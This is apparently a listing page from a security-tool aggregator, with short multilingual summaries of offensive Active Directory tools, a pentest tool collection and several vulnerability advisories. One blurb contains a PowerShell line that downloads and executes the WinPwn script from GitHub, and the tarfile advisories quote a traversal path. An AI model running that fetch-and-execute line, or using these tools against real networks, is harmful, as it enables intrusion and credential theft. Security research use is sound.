Outpacket

📦 Outpacket क्या आप impacket से तंग आ चुके हैं? यह चीटशीट सामान्य impacket वर्कफ़्लो को उनके आधुनिक विकल्पों से मैप करती है अनुक्रमणिका प्रमाणीकरण त्वरित संदर्भ 1. रिमोट निष्पादन WMI निष्पादन · wmiexec.py DCOM निष्पादन · dcomexec.py सेवा-आधारित निष्पादन · smbexec.py · psexec.py अनुसूचित कार्य...

ADSpider

root@kitploit: d8888 8888888b. .d8888b. d8b 888 d88888 888 "Y88b d88P Y88b Y8P 888 d88P888 888 888 Y88b. 888 /\ .-"""-. /\ d88P 888 888 888 "Y888b. 88888b. 888 .d88888 .d88b. 888d888 //\/ ,,, //\ d88P 888 888 888 "Y88b. 888 "88b 888 d88" 888 d8P Y8b 888P" |/| ,;;;;;, |/| d88P 888 888 888 "888...

sudowp-dropzone-elementor

SudoWP DropZone per Elementor Contributori: SudoWP, WP Republic Autori originali: WEB-SHOP-HOSTING Tags: elementor, dropzone, upload, security-patch, fork, cve-2024-5153, honeypot Richiede almeno: 5.6 Testato fino a: 6.7 Versione stabile: 1.7.17 Licenza: GPLv2 o successiva Avviso di sicurezza...

Auto_EAP

AutoEAP Einführung Veröffentlicht am 15. September 2016 AutoEAP.py ist ein Skript, das für automatisierte Brute-Force-Authentifizierungsangriffe gegen verschiedene Arten von EAP-Netzwerken entwickelt wurde. Diese Arten von drahtlosen Netzwerken bieten eine Schnittstelle, um Passwortraten von...

CVE-2024-33352

CVEID : CVE-2024-33352 Bluestacks Advisory ID : steht aus Name des/der betroffenen Produkts/Produkte und Versionen : BlueStacks für Windows Versionen vor 10.40.1000.502 Verwundbarkeitstyp : CWE-552: Für externe Parteien zugängliche Dateien oder Verzeichnisse Zusammenfassung BlueStacks ist ein...

urlbuster

root@kitploit: ██╗ ██╗██████╗ ██╗ ██████╗ ██╗ ██╗███████╗████████╗███████╗██████╗ ██║ ██║██╔══██╗██║ ██╔══██╗██║ ██║██╔════╝╚══██╔══╝██╔════╝██╔══██╗ ██║ ██║██████╔╝██║ ██████╔╝██║ ██║███████╗ ██║ █████╗ ██████╔╝ ██║ ██║██╔══██╗██║ ██╔══██╗██║ ██║╚════██║ ██║ ██╔══╝ ██╔══██╗ ╚██████╔╝██║...

citrix_dir_traversal_rce

citrixdirtraversalrce Una directory traversal è stata scoperta in Citrix Application Delivery Controller ADC, noto anche come NetScaler, e Gateway 10.5, 11.1, 12.0, 12.1 e 13.0. Quando l'NSPPE riceve una richiesta per GET /vpn/index.html, dovrebbe inviarla ad Apache, che la elabora. Tuttavia,...

NewMachineAccount

NewMachineAccount Visão Geral NewMachineAccount.exe é uma ferramenta exe autônoma e simples para criar novas contas de máquina com senha personalizada em um domínio especificado. Uso root@kitploit: NewMachineAccount.exe v1.0 by @decoderit -dc -name -domain -password -ou -user -pass -uac Parâmetro...

certipy-merged

certipy-merged Questa repository contiene un fork di ly4k/Certipy con molte pull request aperte integrate, rese compatibili tra loro e testate fino a un certo punto. Poiché si tratta di un lavoro in corso , alcune funzionalità potrebbero funzionare o meno come previsto e le cose potrebbero...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Raccolte di Strumenti WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

sccmhound

SCCMHound SCCMHound è un collector BloodHound in C per Microsoft Configuration Manager MCM. Se stai cercando un modo per raccogliere le informazioni sulle sessioni di BloodHound dagli utenti e dai computer di Configuration Manager, questo è lo strumento che fa per te! Si consiglia vivamente di...

EUVD-2026-39800

Echo: Encoded slash %2F bypasses route-level protection and exposes static files...

CVE-2026-79676 NLTK before 3.10.3 Path Traversal via Symlink Bypass

NLTK versions before 3.10.3 contain a path traversal vulnerability in corpus readers that reopen root-derived paths using built-in open instead of nltk.pathsec.open, allowing symlinks to escape trusted roots. Attackers who stage symlinked corpus files under a trusted data root can disclose...

adidnsdump

Active Directory Integrated DNS dump tool By default any user in Active Directory can enumerate all DNS records in the Domain or Forest DNS zones, similar to a zone transfer. This tool enables enumeration and exporting of all DNS records in the zone for recon purposes of internal networks. For mo...

kerbrute

Kerbrute A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication Grab the latest binaries from the releases page to get started. Background This tool grew out of some bash scripts I wrote a few years ago to perform bruteforcing using the...

GO-2026-6273 Atlantis Workspace Handling has Path Traversal that Allows Out-of-Bounds Directory Deletion/Creation in github.com/runatlantis/atlantis

Atlantis Workspace Handling has Path Traversal that Allows Out-of-Bounds Directory Deletion/Creation in github.com/runatlantis/atlantis...

subcrawl

SubCrawl SubCrawl is a framework developed by Patrick Schläpfer, Josh Stroschein and Alex Holland of HP Inc’s Threat Research team. SubCrawl is designed to find, scan and analyze open directories. The framework is modular, consisting of four components: input modules, processing modules, output...

ldapdomaindump

LDAPDomainDump Active Directory information dumper via LDAP Introduction In an Active Directory domain, a lot of interesting information can be retrieved via LDAP by any authenticated user or machine. This makes LDAP an interesting protocol for gathering information in the recon phase of a pentes...

BIT-PYTHON-MIN-2026-19672 tarfile extraction filter bypass allows creation of directories outside the destination

The tarfile module's tar and data extraction filters created directories outside the destination for members whose name leaves the destination and returns to it, such as ../evil/../dest/sub/file. The containment check used the resolved path, but intermediate directories were created from the name...

BIT-LIBPYTHON-2026-19672 tarfile extraction filter bypass allows creation of directories outside the destination

The tarfile module's tar and data extraction filters created directories outside the destination for members whose name leaves the destination and returns to it, such as ../evil/../dest/sub/file. The containment check used the resolved path, but intermediate directories were created from the name...